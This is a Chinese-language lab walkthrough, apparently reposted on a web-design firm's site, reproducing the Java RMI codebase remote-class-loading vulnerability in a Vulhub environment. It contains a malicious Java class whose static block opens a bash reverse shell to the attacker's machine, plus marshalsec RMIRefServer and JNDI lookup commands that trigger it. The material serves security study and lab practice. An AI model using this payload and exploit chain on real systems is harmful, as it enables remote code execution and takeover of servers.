阜阳市网站建设_网站建设公司_动画效果_seo优化
2026/1/18 17:13:27 网站建设 项目流程

0x01 漏洞概述

Java RMI简介

Java RMI(Remote Method Invocation)是Java平台的一个远程调用机制,允许Java程序通过网络在不同机器上调用远程对象的方法。RMI通过对象序列化和反序列化的方式,传输对象的状态,并通过RMI注册表暴露对象服务。在默认情况下,RMI会使用TCP协议来实现远程通信。
RMI为Java应用提供了方便的分布式计算方式,但也带来了一些安全隐患,特别是在不安全的代码库配置和反序列化机制的使用下,可能会被攻击者利用来执行远程代码。

Java RMI代码库漏洞概述

Java RMI代码库漏洞(Java RMI Codebase Vulnerability)指的是RMI服务端允许客户端通过RMI协议远程加载和执行代码的漏洞。在不受信任的环境中,攻击者可以通过构造恶意请求,使目标服务器加载攻击者控制的恶意类文件,进而执行远程代码。这种漏洞通常与Java的反序列化机制结合使用,攻击者可以通过向目标系统发送恶意的序列化数据,触发反序列化漏洞,从而执行恶意代码。

0x02 漏洞原理

Java RMI代码库漏洞的根本原因在于Java RMI服务端的远程代码加载机制。RMI允许客户端指定远程代码库的位置,如果该机制没有适当的安全限制,攻击者可以利用此功能将恶意代码上传并执行。
漏洞通常发生在服务端未对远程代码库的URL进行严格验证时。攻击者通过构造恶意的RMI请求,指定一个恶意的代码库URL(如HTTP或LDAP协议),使得目标服务器从不受信任的源加载恶意类文件。这些类文件通常包含恶意代码,导致远程代码执行(RCE)。
整个利用链可以抽象为 5 个步骤:

  1. 攻击者启动 HTTP Server,提供恶意 .class 文件(Codebase)
  2. 攻击者启动 RMIRefServer,向目标返回包含远程 Codebase 的 Reference
  3. 目标 JVM 执行 JNDI lookup
  4. JVM 根据 Reference 从 HTTP Codebase 加载远程类
  5. 类加载阶段执行 static 代码块,完成命令执行

0x03 漏洞工具

0x04 漏洞复现

1. 环境说明

角色 系统
攻击机 Kali Linux
靶机 Ubuntu 22.04
靶场 Vulhub java-rmi-codebase
容器平台 Docker + Docker Compose
Java 1.8.0_121

2. 拉取漏洞环境

# 进入log4j目录,确认目录内存在 docker-compose.yml
cd ~/vulhub/java/rmi-codebase
# 启动 rmi-codebase 靶场
docker compose up -d
# 查看镜像端口
docker ps

image
用 nmap 确认 RMI Registry
image
进一步确认 Registry 中是否存在可绑定对象

┌──(root㉿kali)-[/home/kali]
└─# nmap --script rmi-dumpregistry -p 1099 192.168.137.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 23:27 EST
Nmap scan report for 192.168.137.137
Host is up (0.00032s latency).PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   refObj    #Registry中存在远程对象,这是利用的前提条件之一。
|      implements java.rmi.Remote, ICalc,
|     extends
|       java.lang.reflect.Proxy    #RMI远程调用的标准实现方式
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:64000    #64000端口是Codebase HTTP Server,用于对外提供 .class 文件
|             extends
|_              java.rmi.server.RemoteObject
MAC Address: 00:0C:29:5C:E0:CA (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds

3. kali准备反弹监听

image

4. 编写恶意类

新建exploit2.java文件

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;public class Exploit2 implements ObjectFactory {static {try {Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.137.149/4444 0>&1" //192.168.137.149是kali攻击机IP});} catch (Exception e) {e.printStackTrace();}}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {return null;}
}

image
编译:javac Exploit2.java,生成Exploit2.class文件
image

5. 启动 HTTP Codebase

HTTP Server 的启动目录必须和 Exploit2.class 所在目录一致,否则 JVM 下载到的可能是旧文件或根本不存在的 class。 启动HTTP Codebase:python3 -m http.server 8000
image

6. 启动 RMIRefServer

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.RMIRefServer \
http://192.168.137.149:8000/#Exploit2

成功后监听 1099 端口。
image

7. 进入容器执行 JNDI Lookup

image
执行:
image

jrunscript \
-J-Dcom.sun.jndi.rmi.object.trustURLCodebase=true \
-J-Djava.rmi.server.useCodebaseOnly=false \
-e 'new javax.naming.InitialContext().lookup("rmi://192.168.137.149:1099/Exploit2");'

kali成功收到反弹连接:
image

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询